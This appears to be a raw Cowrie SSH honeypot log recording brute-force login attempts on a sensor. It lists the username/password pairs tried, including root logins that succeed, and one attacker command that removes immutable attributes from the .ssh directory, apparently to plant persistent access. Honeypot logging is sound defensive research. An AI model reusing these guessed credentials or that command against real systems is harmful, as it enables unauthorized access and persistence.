{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:40:48.770942Z","src_ip":"2.57.122.96","session":"79fa1d3c7ce6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana123","message":"login attempt [solana/solana123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:40:49.252453Z","src_ip":"2.57.122.96","session":"79fa1d3c7ce6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:40:49.692890Z","src_ip":"49.49.239.64","session":"780b78bd96e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.49.239.64","src_port":38262,"dst_ip":"159.203.135.109","dst_port":22,"session":"7b7c41b67673","protocol":"ssh","message":"New connection: 49.49.239.64:38262 (159.203.135.109:22) [session: 7b7c41b67673]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:40:49.947371Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:40:49.951302Z","src_ip":"49.49.239.64","session":"7b7c41b67673","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:40:50.210116Z","src_ip":"49.49.239.64","session":"7b7c41b67673","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:40:50.357728Z","src_ip":"2.57.122.96","session":"79fa1d3c7ce6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:40:51.274178Z","src_ip":"49.49.239.64","session":"7b7c41b67673","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:40:51.534778Z","src_ip":"49.49.239.64","session":"7b7c41b67673","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.7","message":"Connection lost after 7.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:40:51.539464Z","src_ip":"49.49.239.64","session":"f798e29c9546","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":48652,"dst_ip":"10.17.0.5","dst_port":22,"session":"b94a5c9e2daa","protocol":"ssh","message":"New connection: 2.57.122.208:48652 (10.17.0.5:22) [session: b94a5c9e2daa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:40:53.339393Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:40:53.467138Z","src_ip":"2.57.122.208","session":"b94a5c9e2daa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:40:53.470724Z","src_ip":"2.57.122.208","session":"b94a5c9e2daa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:40:54.313620Z","src_ip":"2.57.122.208","session":"b94a5c9e2daa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:40:55.442962Z","src_ip":"2.57.122.208","session":"b94a5c9e2daa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"60.2","message":"Connection lost after 60.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:41:00.398099Z","src_ip":"74.208.174.21","session":"86302b15a730","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.193.178.240","src_port":36814,"dst_ip":"159.203.135.109","dst_port":22,"session":"c80fe4560d41","protocol":"ssh","message":"New connection: 103.193.178.240:36814 (159.203.135.109:22) [session: c80fe4560d41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:41:27.039990Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:41:27.044168Z","src_ip":"103.193.178.240","session":"c80fe4560d41","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:41:27.331728Z","src_ip":"103.193.178.240","session":"c80fe4560d41","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gc","password":"123456","message":"login attempt [gc/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:41:28.952593Z","src_ip":"103.193.178.240","session":"c80fe4560d41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:41:30.214387Z","src_ip":"103.193.178.240","session":"c80fe4560d41","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.76","src_port":53090,"dst_ip":"10.17.0.5","dst_port":22,"session":"296eda1d2b63","protocol":"ssh","message":"New connection: 92.118.39.76:53090 (10.17.0.5:22) [session: 296eda1d2b63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:41:35.103812Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:41:35.107764Z","src_ip":"92.118.39.76","session":"296eda1d2b63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:41:35.216622Z","src_ip":"92.118.39.76","session":"296eda1d2b63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":59826,"dst_ip":"159.203.135.109","dst_port":22,"session":"887432e4eae7","protocol":"ssh","message":"New connection: 162.120.6.20:59826 (159.203.135.109:22) [session: 887432e4eae7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:41:35.433554Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:41:35.506259Z","src_ip":"162.120.6.20","session":"887432e4eae7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.120.6.20","src_port":59836,"dst_ip":"159.203.135.109","dst_port":22,"session":"3e347850794c","protocol":"ssh","message":"New connection: 162.120.6.20:59836 (159.203.135.109:22) [session: 3e347850794c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:41:35.576176Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:41:35.580450Z","src_ip":"162.120.6.20","session":"3e347850794c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:41:35.652404Z","src_ip":"162.120.6.20","session":"3e347850794c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:41:35.660223Z","src_ip":"92.118.39.76","session":"296eda1d2b63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"42.112.42.129","src_port":15337,"dst_ip":"10.17.0.5","dst_port":22,"session":"415a8937ff34","protocol":"ssh","message":"New connection: 42.112.42.129:15337 (10.17.0.5:22) [session: 415a8937ff34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:41:35.739005Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:41:35.745157Z","src_ip":"42.112.42.129","session":"415a8937ff34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1q2w3e4r","message":"login attempt [user/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:41:35.868012Z","src_ip":"162.120.6.20","session":"3e347850794c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:41:35.994240Z","src_ip":"42.112.42.129","session":"415a8937ff34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:41:36.766282Z","src_ip":"92.118.39.76","session":"296eda1d2b63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:41:36.941446Z","src_ip":"162.120.6.20","session":"3e347850794c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"support123","message":"login attempt [support/support123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:41:37.176833Z","src_ip":"42.112.42.129","session":"415a8937ff34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:41:38.450212Z","src_ip":"42.112.42.129","session":"415a8937ff34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.89","src_port":57536,"dst_ip":"10.17.0.5","dst_port":22,"session":"22460fca4f69","protocol":"ssh","message":"New connection: 165.154.6.89:57536 (10.17.0.5:22) [session: 22460fca4f69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:42:46.023860Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:42:46.028461Z","src_ip":"165.154.6.89","session":"22460fca4f69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:42:46.248481Z","src_ip":"165.154.6.89","session":"22460fca4f69","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"asd123","message":"login attempt [root/asd123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:42:47.157729Z","src_ip":"165.154.6.89","session":"22460fca4f69","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:42:48.051639Z","src_ip":"165.154.6.89","session":"22460fca4f69","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:42:48.055601Z","src_ip":"165.154.6.89","session":"22460fca4f69","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:42:48.059367Z","src_ip":"165.154.6.89","session":"22460fca4f69","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:42:48.282707Z","src_ip":"165.154.6.89","session":"22460fca4f69","protocol":"ssh"}
